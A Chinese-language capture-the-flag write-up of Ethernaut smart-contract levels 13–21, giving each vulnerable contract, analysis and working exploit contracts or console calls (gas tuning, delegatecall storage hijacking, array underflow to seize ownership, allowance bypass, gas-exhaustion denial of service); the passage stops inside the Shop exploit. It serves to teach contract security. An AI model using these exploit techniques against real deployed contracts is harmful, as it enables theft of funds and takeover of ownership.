Writeup | Ethernaut Part Ⅱ

平台地址

13. Gatekeeper One

闯关要求

越过守门人并且注册为一个参赛者来完成这一关.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

合约分析

gateOne,通过另一个合约调用即可

gateTwo,需要满足 gasleft() % 8191 == 0

先对合约进行debug,将燃料限制调到999999

image-20220225195749000

attack后,去etherscan中看一下debug trace

image-20220225195945938

因为第二个条件执行了gasleft(),我们需要找一下Gas操作:获取剩余可执行燃料数

由于Gas本身的操作也是消耗燃气的,所以958082才是gas操作获得的剩余可执行燃气数

image-20220225200853744

958082%8191=7926

999999-7926=992073

再将燃料限制调到992073

image-20220225203159579

950280%8191=124

992073-124=991949

再将燃料限制调到991949

image-20220225203636903

950158%8191=2

991949-2=991947

再将燃料限制调到991947

image-20220225203940798

此时已经没有revert

image-20220225204101240

且950156%8191=0

gateThree,先了解一下 Solidity 的类型转换规则

转换成更小的类型,会丢失高位。

1
2
uint32 a = 0x12345678;
uint16 b = uint16(a); // b = 0x5678

转换成更大的类型,将向左侧添加填充位。

1
2
uint16 a = 0x1234;
uint32 b = uint32(a); // b = 0x00001234

转换到更小的字节类型,会丢失后面数据。

1
2
bytes2 a = 0x1234;
bytes1 b = bytes1(a); // b = 0x12

转换为更大的字节类型时,向右添加填充位。

1
2
bytes2 a = 0x1234;
bytes4 b = bytes4(a); // b = 0x12340000

只有当字节类型和int类型大小相同时,才可以进行转换。

1
2
3
4
5
bytes2 a = 0x1234;
uint32 b = uint16(a); // b = 0x00001234
uint32 c = uint32(bytes4(a)); // c = 0x12340000
uint8 d = uint8(uint16(a)); // d = 0x34
uint8 e = uint8(bytes1(a)); // e = 0x12

把整数赋值给整型时,不能超出范围,发生截断,否则会报错。

1
2
3
uint8 a = 12; // no error
uint32 b = 1234; // no error
uint16 c = 0x123456; // error, 有截断,变为 0x3456

观察代码,得出可以通过 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 实现

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract exploit {
address instance_add = 0x3fADc7E018F9b0236f82132B0569e7c4363622f0;
GatekeeperOne gatekeeperOne = GatekeeperOne(instance_add);

function attack() public {
bytes8 gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF;
//gatekeeperOne.enter{gas: 999999}(gateKey);
address(gatekeeperOne).call.gas(999999)(abi.encodeWithSignature("enter(bytes8)", gateKey));


}
}

使用debug调试至没有revert后,回到ethernaut中使用命令 await contract.entrant() ,发现结果是自己的地址

image-20220225204358089

提交实例

image-20220225204533099

14. Gatekeeper Two

闯关要求

这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

合约分析

gateOne,使用另一个合约调用即可

gateTwo,使用了内联汇编

extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小,一般来说,当caller为合约时,获取的大小为合约字节码大小,caller为账户时,获取的大小为 0 。条件为调用方代码大小为0 ,由于合约在初始化,代码大小为0。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。

gateThree,异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的值。

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract exploit {
constructor(address instance_add) public {
GatekeeperTwo gatekeeperTwo = GatekeeperTwo(instance_add);
//bytes8 gateKey = bytes8(uint64(address(this)) ^ (uint64(0) - 1)); 此处没有使用keccak256所以失败了
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this))))^(uint64(0) - 1));
//gatekeeperTwo.enter(gateKey);
address(gatekeeperTwo).call(abi.encodeWithSignature("enter(bytes8)", gateKey));
}
}

image-20220226142319439

image-20220226142421115

15. Naught Coin

闯关要求

NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

合约分析

  • 根据题意,需要将自己的 balance 清空。合约提供了 transfer() 进行转账,但有一个 modifier lockTokens() 限制,只有 10 年后才能调用 transfer()
  • 注意该合约是 ERC20 的子合约,题目中也给了 The ERC20 SpecThe OpenZeppelin codebase
  • 在子合约找不出更多信息的时候,把目光更多放到父合约 ERC20.sol 和接口上
  • The ERC20 Spec 中,除了 transfer() 之外,还有 transferFrom() 函数也可以进行转账
  • 直接看父合约 ERC20.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 contract ERC20 is Context, IERC20, IERC20Metadata {
...
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
...

function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}

function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
...
}
  • transferFrom 函数,其中调用了 _spendAllowance 函数,在 _spendAllowance 函数中,有这样几行代码

    1
    2
    3
    4
    5
    6
    7
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance != type(uint256).max) {
    require(currentAllowance >= amount, "ERC20: insufficient allowance");
    unchecked {
    _approve(owner, spender, currentAllowance - amount);
    }
    }

    就相当于tranfer直接是拥有者调用,将他的代币转给别人,而transferFrom是由被转账的人调用,这个allowance(owner, spender)就是许可的金额,意思是owner这个账号允许转给spender这个账号的代币的数量,如果这个不空的话,spender就可以调用transferFrom函数从owner那里获得转账。

  • 可以直接调用这个 transferFrom ,但是 transferFrom 需要 allowance(owner, spender) 不为空,在 _approve 函数中可以设定 _allowances[owner][spender] 的值,而_approve 函数是被 approve 函数调用了,由于我们就是合约的 owner ,所以可以自己调用 approve 给自己授权

攻击流程

查询余额

image-20220310192324679

1
2
3
4
5
(await contract.allowance(player, "0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624")).toString() "1000000000000000000000000"

await contract.approve("0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624", (await contract.balanceOf(player)).toString())

await contract.transferFrom(player, '0xcd69Bb01b11200a24F2792Abb643f38625e9FBd1', (await contract.balanceOf(player)).toString())

再次查询余额

image-20220310192448888

image-20220310192147705

16. Preservation

闯关要求

此合同使用库存储两个不同时区的两个不同时间,构造函数为每次要存储的库创建两个实例。 而玩家的目标是获取合约的owner权限。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

合约分析

  • delegatecallcall 功能类似,区别在于 delegatecall 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。注意 delegatecall 是危险函数,它可以完全操作当前合约的状态(实现变量覆盖),可以参考第7题 Delegation

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    contract a{
    uint public x1;
    uint public x2;

    function funca(address param){
    param.delegate(bytes4(keccak256("funcb()")));
    }
    }
    contract b{
    uint public y1;
    uint public y2;

    function funcb(){
    y1=1;
    y2=2;
    }
    }

    上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

    在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。

    注意,和slot所在的位置有关系,和变量名字没有关系

  • delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,这就使得某些访存操作会错误的处理对象

  • 所以这个题可以这样解决:

    • 我们调用 PreservationsetFirstTime 函数实际通过 delegatecall 执行了 LibraryContractsetTime 函数,修改了 slot 0 ,也就是修改了 timeZone1Library 变量(在 LibraryContract 合约中所修改的 storedTime 位于 slot 0
    • 这样,我们第一次调用 setFirstTimetimeZone1Library 变量修改为我们的恶意合约的地址,第二次调用 setFirstTime 就可以执行我们合约的任意代码了

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

contract exploit {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

address instance_add = 0xFCe5b78fC7F350b7a710e644E67A232856E097Fc;
Preservation preservation = Preservation(instance_add);

function attack1() public {
preservation.setFirstTime(uint(address(this)));
}

function attack2() public {
preservation.setFirstTime(uint(0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624)); //玩家地址
}

function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}

image-20220301222406436

17. Recovery

闯关要求

合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 如果您可以从丢失的合同地址中恢复(或移除)0.5ether,则此级别将完成。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

合约分析

区块链上所有信息都是公开的,将实例地址拿到区块链浏览器上去查询即可找回合同地址,再利用 selfdestruct 恢复0.5ether

攻击流程

实例地址:0x08F66239f112CA4CF479E7a73dEc1d11b6cB92D3

https://rinkeby.etherscan.io/address/0x08F66239f112CA4CF479E7a73dEc1d11b6cB92D3#internaltx

image-20220303183155695

再通过交易信息找到生产合约 lost contract 的地址:0xfB481D6c4B732735Bc0345617e38a8f355DB9985

image-20220303183414425

拿到丢失的合约地址以后,去remix部署 SimpleToken ,使用 At address 指定 lost contract 的地址,然后执行 destroy(play_address) 即可

image-20220303183612735

image-20220303183726252

查看合约地址,发现已经被销毁:https://rinkeby.etherscan.io/address/0xfb481d6c4b732735bc0345617e38a8f355db9985#internaltx

image-20220303185350095

也可以手动计算地址。

public a = address(keccak256(0xd6,0x94,YOUR_ADDR,0x01));

参考链接

18. MagicNumber

闯关要求

要解决这个级别,您只需要向etranaut提供一个“Solver”,这是一个响应“whatistMeaningoflife()”的契约,并提供正确的数字。 很容易吧?好。。。有个陷阱。 解算器的代码需要非常小。真的很小。就像怪物真的有点小:最多10个操作码。 提示:也许是时候暂时离开Solidity编译器的舒适性,手工构建这个编译器了。没错:原始EVM字节码。 祝你好运!
即要求输出42(操作码为2A)。

  • 题目的意思就是部署一个合约 Solver ,要求在被调用 whatIsTheMeaningOfLife() 函数时返回 42 就可以了,但有一个限制是不能超过 10opcode

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

合约分析

创建一个简单的合约

1
2
3
pragma solidity ^0.4.11;
contract C {
}

bytecode

1
2
3
4
5
6
{
"linkReferences": {},
"object": "6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820eb3bb9eb1153de451fdb73f63dffc5c28f93dd665ad0b87028137bef976257500029", //字节码
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x35 DUP1 PUSH1 0x1D PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 0xeb EXTCODESIZE 0xb9 0xeb GT MSTORE8 0xde GASLIMIT 0x1f 0xdb PUSH20 0xF63DFFC5C28F93DD665AD0B87028137BEF976257 POP STOP 0x29 ",
"sourceMap": "26:15:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26:15:0;;;;;;;"
}

我们可以将上面的字节码分成3个独立的块:

1
2
3
4
5
6
//部署代码
60606040523415600e57600080fd5b5b603680601c6000396000f300
//合约代码
60606040525b600080fd00
// Auxdata
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
  • 创建合约时运行部署代码
  • 合约创建成功之后当它的方法被调用时,运行合约代码
  • (可选)Auxdata是源码的加密指纹,用来验证。这只是数据,永远不会被EVM执行

部署代码有两个主要作用:

  1. 运行构造器函数,并设置初始化内存变量(就像合约的拥有者)
  2. 计算合约代码,并返回给EVM

Solidity编译器产生的部署代码会从字节码中加载60606040525b600080fd00到内存中,然后将它作为合约代码返回。在这个例子中,“计算”只是读取一块数据到内存中。原则上,我们可以编程地产生合约代码。

常用的汇编指令:

image-20220305163518304

image-20220305163557586

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.code
PUSH 80 contract C {\r\n}
PUSH 40 contract C {\r\n}
MSTORE contract C {\r\n}
CALLVALUE contract C {\r\n}
DUP1 olidity ^
ISZERO a
PUSH [tag] 1 a
JUMPI a
PUSH 0 r
DUP1 o
REVERT .11;\r\ncontra
tag 1 a
JUMPDEST a
POP contract C {\r\n}
PUSH #[$] 0000000000000000000000000000000000000000000000000000000000000000 contract C {\r\n}
DUP1 contract C {\r\n}
PUSH [$] 0000000000000000000000000000000000000000000000000000000000000000 contract C {\r\n}
PUSH 0 contract C {\r\n}
CODECOPY contract C {\r\n}
PUSH 0 contract C {\r\n}
RETURN contract C {\r\n}
.data
0:
.code
PUSH 80 contract C {\r\n}
PUSH 40 contract C {\r\n}
MSTORE contract C {\r\n}
PUSH 0 contract C {\r\n}
DUP1 contract C {\r\n}
REVERT contract C {\r\n}
.data

bytecode由两部分构成。

第一部分的.code包含了一些smart contract初始化的代码,比如构造函数,state variable(全局变量)的赋值等操作。区块链上,这些都是EOA在部署合约时就执行完成的。

从.data开始,是smart contract的runtime bytecode,也就是在区块链上保存的合约的bytecode。

codecopy(t, f, s)-F 从代码的位置 f 开始拷贝 s 个字节到内存的位置 t

参考1

参考2

参考3

攻击流程

参考

1
2
bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode})

得到合约https://rinkeby.etherscan.io/tx/0xb354513ca1442426057f5aa0f2404ff4578725d68eccf27a7cdf9535157e7086

image-20220306145644803

1
await contract.setSolver('0x1373751D06eC2214c36C314C4e5Ed13b520830Ad')

image-20220306145732582

19. Alien Codex

闯关要求

你打开了一个 Alien 合约. 申明所有权来完成这一关.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

合约分析

  • 合约开头 importOwnable.sol 合约,同时也引入了一个 owner 变量

    由于 EVM 存储优化的关系,在 slot [0]中同时存储了contact和owner,需要做的就是将owner变量覆盖为自己。

    1
    2
    3
    await web3.eth.getStorageAt(instance, 0, function(x, y) {console.info(y)});
    // 0x000000000000000000000000da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 slot0
    // 对应的 contact 为零,Owner=0xda5b3fb76c78b6edee6be8f11a1c31ecfb02b272
  • 数组 codexslot1 ,同时这也是存储数组 length 的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置

  • 因为总共有 2^256slot ,要修改 slot 0 ,假设 codex 实际所在 slot x ,(对于本题来说,数组的 slot1 , x=keccak256(bytes32(1))) ,那么当我们修改 codex[y],(y=2^256-x+0) 时就能修改 slot 0 ,从而修改 owner

    • 给位于数组相对的位置赋值

    • 我们要修改 codex[y] ,那就要满足 y < codex.length ,而这个时候 codex.length =0 ,但是我们可以通过 retract() 使 length 下溢,然后就可以操纵 codex[y]

  • 调用任何函数都需要绕过修饰关键词contacted的限制,也就是需要使contact = true,那就是调用make_contact() 函数

攻击流程

  1. 先调用 make_contact 函数

    image-20220307215241130

  2. 计算codex 的位置

    1
    2
    3
    4
    5
    6
    pragma solidity ^0.4.18;
    contract test {
    function go() view returns(bytes32){
    return keccak256((bytes32(1)));
    }
    }

    image-20220307215852291

    即 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

  3. y = 2^256-x+0 = 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

  4. 通过 retract() 使得 codex 数组 length 下溢,使其满足 y < codex.length

  5. owner 换成 player 地址即可

    1
    2
    3
    4
    5
    6
    await contract.owner()
    // "0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272"
    contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a',"0x0000000000000000000000019DC97146b924263A2c8C7237FbeEAFb6ef60b624")
    // 调用 revise()
    await contract.owner()
    // '0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624'

    image-20220307223654117

20. Denial

闯关要求

这是一个简单的钱包,会随着时间的推移而流失资金。您可以成为提款伙伴,慢慢提款。

如果您可以在所有者调用withdraw() 时拒绝提取资金(而合约仍有资金,并且交易的gas 为1M 或更少),您将赢得此级别。

即造成DOS使得合约的owner在调用withdraw时无法正常提取资产。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

合约分析

  • 可以使 transfer 失败,也就是把 gas 耗光
    • 使用 assert 失败的话,将会 spend all gas ,这样的话 owner.transfer(amountToSend) 将执行失败
    • 重入漏洞 partner.call.value(amountToSend)() ,利用重入漏洞把 gas 消耗完

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

contract exploit1 {
address payable instance_add = 0x015307cCEE55050ae6743c019aDc847ae32c6efA;
Denial denial = Denial(instance_add);

function attack() public {
denial.setWithdrawPartner(address(this));
denial.withdraw();
}

fallback() payable external{
assert(0==1);
}
}

contract exploit2 {
address payable instance_add = 0xE8E0615aA560F06D0361Abb92c11230DC2671b59;

function attack() public {
instance_add.call(abi.encodeWithSignature("setWithdrawPartner(address)",this));
instance_add.call(abi.encodeWithSignature("withdraw()"));
}

fallback() payable external{
instance_add.call(abi.encodeWithSignature("withdraw()"));
}
}

image-20220308223509185

21. Shop

闯关要求

从商店以低于要求的价格购买商品

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

合约分析

类似题目 Elevator

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

contract exploit {
